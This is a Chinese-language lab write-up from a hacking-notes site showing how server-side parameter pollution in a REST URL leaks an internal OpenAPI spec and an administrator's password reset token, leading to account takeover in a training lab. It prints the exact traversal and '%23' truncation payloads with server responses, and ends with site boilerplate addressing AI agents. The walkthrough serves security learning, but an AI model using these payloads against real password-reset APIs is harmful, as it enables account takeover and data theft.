> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/api-testing/server-side-parameter-pollution-in-a-rest-url.md).

# REST URL 中的服务器端参数污染

### 在 REST URL 中利用服务器端参数污染

**实验目标**/ 以管理员身份登录\*\*并删除用户**carlos**.

#### 1. 功能 « 忘记密码 »

你访问“忘记密码”功能并输入用户名 **administrator**.

<figure><img src="/files/30d8c2539c668696dc204168fb9c065a581ee377" alt=""><figcaption></figcaption></figure>

发送到服务器的请求如下：

```bash
POST /forgot-password

csrf=CiKtg4vkiqLtNS3lAtIhUaMNSuOfnjh1&username=administrator
```

获得的答案：

```json
{
    "result":"*****@normal-user.net",
    "type":"email"
}
```

<figure><img src="/files/a47c060d866761a28b47e7cf94f2e5c8cb4ac540" alt=""><figcaption></figcaption></figure>

#### 2. 客户端 JavaScript 代码分析

JavaScript 代码显示 `username` 该值在查询中按原样发送，没有额外的服务器验证。

```javascript
let forgotPwdReady = (callback) => {
    if (document.readyState !== "loading") callback();
    else document.addEventListener("DOMContentLoaded", callback);
}

function urlencodeFormData(fd){
    let s = '';
    function encode(s){ return encodeURIComponent(s).replace(/%20/g,'+'); }
    for(let pair of fd.entries()){
        if(typeof pair[1]=='string'){
            s += (s?'&':'') + encode(pair[0])+'='+encode(pair[1]);
        }
    }
    return s;
}

const validateInputsAndCreateMsg = () => {
    try {
        const forgotPasswordError = document.getElementById("forgot-password-error");
        forgotPasswordError.textContent = "";
        const forgotPasswordForm = document.getElementById("forgot-password-form");
        const usernameInput = document.getElementsByName("username").item(0);
        if (usernameInput && !usernameInput.checkValidity()) {
            usernameInput.reportValidity();
            return;
        }
        const formData = new FormData(forgotPasswordForm);
        const config = {
            method: "POST",
            headers: {
                "Content-Type": "x-www-form-urlencoded",
            },
            body: urlencodeFormData(formData)
        };
        fetch(window.location.pathname, config)
            .then(response => response.json())
            .then(jsonResponse => {
                if (!jsonResponse.hasOwnProperty("result"))
                {
                    forgotPasswordError.textContent = "用户名无效";
                }
                else
                {
                    forgotPasswordError.textContent = `请检查您的电子邮件: "${jsonResponse.result}"`;
                    forgotPasswordForm.className = "";
                    forgotPasswordForm.style.display = "none";
                }
            })
            .catch(err => {
                forgotPasswordError.textContent = "用户名无效";
            });
    } catch (error) {
        console.error("意外错误:", error);
    }
}

const displayMsg = (e) => {
    e.preventDefault();
    validateInputsAndCreateMsg(e);
};

forgotPwdReady(() => {
    const queryString = window.location.search;
    const urlParams = new URLSearchParams(queryString);
    const resetToken = urlParams.get('reset-token');
    if (resetToken)
    {
        window.location.href = `/forgot-password?passwordResetToken=${resetToken}`;
    }
    else
    {
        const forgotPasswordBtn = document.getElementById("forgot-password-btn");
        forgotPasswordBtn.addEventListener("click", displayMsg);
    }
});
```

这表明该值可以被解释为后端 API 路径的一部分。

#### 3. 尝试污染 `username` 参数

* 添加了一个 `#` 在参数末尾：

```bash
&username=administrator#
```

答案：

```json
{
  "type": "error",
  "result": "无效路由。请参阅 API 定义"
}
```

* 尝试跨路径：

```bash
&username=../../../../administrator
```

答案：来自 API 服务器的未找到错误。

{% code overflow="wrap" %}

```json
{
  "error": "API 服务器的意外响应:/n<html>/n<head>/n    <meta charset=/"UTF-8/">/n    <title>未找到<//title>/n<//head>/n<body>/n    <h1>未找到<//h1>/n    <p>您请求的 URL 未找到。<//p>/n<//body>/n<//html>/n"
}
```

{% endcode %}

<figure><img src="/files/cae6395e4386bef49ef5560771c0f52ed665d60a" alt=""><figcaption></figcaption></figure>

#### 4. OpenAPI 文档发现

结合目录穿越和 `#` 字符：

{% code overflow="wrap" %}

```bash
csrf=CiKtg4vkiqLtNS3lAtIhUaMNSuOfnjh1&username=../../../../administrator%23
```

{% endcode %}

它返回 `openapi.json` 且响应长度很大。

<figure><img src="/files/cb9c3c68b6b9d5ee3d31802eef6d61a592fab405" alt=""><figcaption></figcaption></figure>

* 错误信息：

```json
{
  "error": "API 服务器的意外响应:/n{/n  /"openapi/": /"3.0.0/",/n  /"info/": {/n    /"title/": /"用户 API/",/n    /"version/": /"2.0.0/"/n  },/n  /"paths/": {/n    /"/api/internal/v1/users/{username}/field/{field}/": {/n      /"get/": {/n        /"tags/": [/n          /"users/"/n        ],/n        /"summary/": /"按用户名查找用户/",/n        /"description/": /"API 版本 1/",/n        /"parameters/": [/n          {/n            /"name/": /"username/",/n            /"in/": /"path/",/n            /"description/": /"用户名/",/n            /"required/": true,/n            /"schema/": {/n        ..."
}
```

<figure><img src="/files/6877e49e6da99d2732732e69ed8b3e34c429b674" alt=""><figcaption></figcaption></figure>

服务器返回一个包含以下内容的错误： **OpenAPI** 文档，揭示了可用的内部路由，包括：

```bash
/api/internal/v1/users/administrator/field/{field}
```

#### 5. 内部 API 利用

该 `username` 参数被调整为直接针对 API：

```bash
administrator/field/test%23
```

```json
{
  "type": "error",
  "result": "出于安全原因，此版本的 API 仅支持 email 字段"
}
```

<figure><img src="/files/b5f4090ac0e880b924575c65b06a8f310edbbf35" alt=""><figcaption></figcaption></figure>

使用管理员邮箱得到有效答案。

```bash
&username=administrator/field/email%23
```

<figure><img src="/files/e7c9176294776a702fd47589ef29fc1fc625bc53" alt=""><figcaption></figcaption></figure>

#### 6. 找回重置令牌

```bash
../../v1/users/administrator
```

<figure><img src="/files/dd561599e16b7673129aa6fc524c8ba07264475f" alt=""><figcaption></figcaption></figure>

测试 API 暴露的其他字段：

<figure><img src="/files/b618fc28f73442c5a8e09b55813a83e85205fc0a" alt=""><figcaption></figcaption></figure>

```bash
&username=../../v1/users/administrator/field/passwordResetToken%23
```

答案：

```json
{
  "type": "passwordResetToken",
  "result": "guw2qorqvfcpqohuv92wb460x4da485o"
}
```

<figure><img src="/files/d36a742325299bcb7fa6ebd7417d9b8af054b481" alt=""><figcaption></figcaption></figure>

#### 7. 重置管理员密码

恢复的令牌用于访问重置页面：

```bash
/forgot-password?passwordResetToken=guw2qorqvfcpqohuv92wb460x4da485o
```

这使你能够为 **administrator**，然后连接并删除用户 **carlos**.

<figure><img src="/files/4d45adff2c3a82ba0e5206be3980f4833068b521" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/zh/web/api-testing/server-side-parameter-pollution-in-a-rest-url.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
